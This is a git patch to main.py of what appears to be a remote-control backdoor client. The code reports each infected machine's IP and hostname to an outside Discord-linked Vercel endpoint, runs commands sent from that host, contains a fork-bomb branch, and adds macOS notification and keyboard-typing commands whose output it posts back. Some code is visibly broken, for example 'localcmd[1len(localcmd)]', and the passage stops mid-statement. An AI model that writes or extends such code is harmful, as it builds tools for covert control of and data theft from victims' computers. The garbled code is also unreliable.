From d86e13b183d1724f0931a7320b07333c5fefebf1 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 30 Aug 2023 01:09:44 +0800 Subject: updated dist and added more features for macos --- main.py | 199 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 198 insertions(+), 1 deletion(-) (limited to 'main.py') diff --git a/main.py b/main.py index c1355bd..c80d9e7 100644 --- a/main.py +++ b/main.py @@ -15,7 +15,7 @@ try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") except KeyboardInterrupt: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname} ``Client tried to SIGINT(Ctrl+C) when init``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``") pass except KeyboardInterrupt: pass @@ -78,6 +78,203 @@ while True: else: while 1: fork() + elif command.startswith('volume'): + localcmd = command.split() + if localcmd[1len(localcmd)]: + if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'"): + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```") + old_command = command + except: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + except KeyboardInterrupt: + continue + continue + else: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`") + old_command = command + continue + elif localcmd[1] == 'keyboard' or localcmd[1] == 'type': + if localcmd[3